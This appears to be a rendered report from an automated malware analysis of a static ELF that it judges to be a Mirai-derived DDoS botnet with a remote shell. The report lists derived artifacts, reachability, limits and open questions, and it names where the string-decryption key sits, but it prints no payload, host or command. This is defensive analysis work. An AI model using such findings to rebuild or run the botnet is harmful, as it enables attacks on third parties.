model claude-opus-5-5effort mediumduration s 34 min 43 stokens 463,220tool uses 239

Produced with

skills
research-analysis
0cf735649e42
research-corpus
7defa8d3b7d1
research-ledger
7691f34d9cd1
tools
triage
2026-09-28.1
capa
9.4.0
floss
3.1.1
ghidra
12.1.4
snapshot taken at
2026-10-01 20:38:11.542859+00

Other sections of the report

Report keys this renderer has no special layout for, shown as written.

created · 2026-10-22T08:49Z2026-10-22T08:49Z
derived artifacts · 9 items
idofpathtransformsha256kindevidence
D1Originalout/L0/strtable/strings_decoded.jsonlChaCha20 (RFC 7539, key .data 0x62ba00, nonce 0x62b9e8, counter 1) over each string-store setter siteeceaf7c1…3990c0a5decoded_stringsE35
D2Originalout/L0/strtable/strings.jsonaccepted entries of D1 with table, slot id, source VA and class2ca29039…b040420dotherE22
D3Originalout/L0/strtable/summary.jsoncounts by table, class and category over D298d6077b…9e9a5fd7otherE35
D4Originalout/L0/strtable/controls.jsondecode controls: likeness, wrong-parameter variants, constant check8d5f7421…2410ef5dotherE37
D5Originalout/L0/strtable/census.jsonsetter call-site census from the store init disassemblya96957dd…219926acotherE36
D6Originalout/L0/strtable/sites_meta.jsonper-site setter arguments recovered from the init disassemblyf80d09ba…a0ed4b9aotherE36
D7Originalout/L0/strtable/init_disasm.txtcapstone disassembly of the store init function 0x40dba0c42c52fb…3bb2a7e6otherE36
D8Originalout/L0/strtable/text_all.asmcapstone disassembly of .text used to find the setter sites057d591f…cf93ffe7otherE36
D9Originalout/L0/store_hosts.jsonhostname-class entries of D2 with slot ids0b57e2fb…e36d039fotherE24
reachability · 2 items
filegraphrootsinternalreachedunreachedunreached statusevidence
Originalghidra54647571possibly_reachedE21
Originalunion54652620possibly_reachedE8, E19
limits · 1 items
fileroots searchedroots not searchedpasses rununresolved in reached codecomputed sites in reached codelibrary filtersnot claimedsyscall sites
Originalentrymethod_tablecode_slot_scaninit_array28address_range_libc_0x4175f0native_callgraph.py and dispatch_reach.py are PE-only and failed on this ELF, so no code-slot or state-table pass ran; reach is the Ghidra graph plus the 24 attack-table slots. The libc range split at 0x4175f0 is by address and syscall-wrapper shape, not by signature matching. 9 user functions stay possibly_reached. Syscall numbers in 28 cancellation-point wrapper sites are register-passed and were named from callers only for the wrappers listed in scripts/fnsys.py.103
questions · 5 items
idstatusevidenceunknownsnote
Q1answeredE21E2E3Originalnoneone layer, a static stripped x86-64 ELF; no packing; strings ChaCha20-encrypted in a slot table
Q2partialB1B2B3B4B5B6B7B8B9B10B11U2U3U4—
Q3partialI2I3I13I20E18E22E24E29E30U1U5C2 host (slots 0-7) and its 14 ports established; other hostname slots unassigned
Q4answeredE1, E6, E7, E8, E9, E10, E26nonemalicious DDoS botnet payload with a remote shell, Mirai derivative, 0.55
Q5partialE19U1U2U3U4U5U6—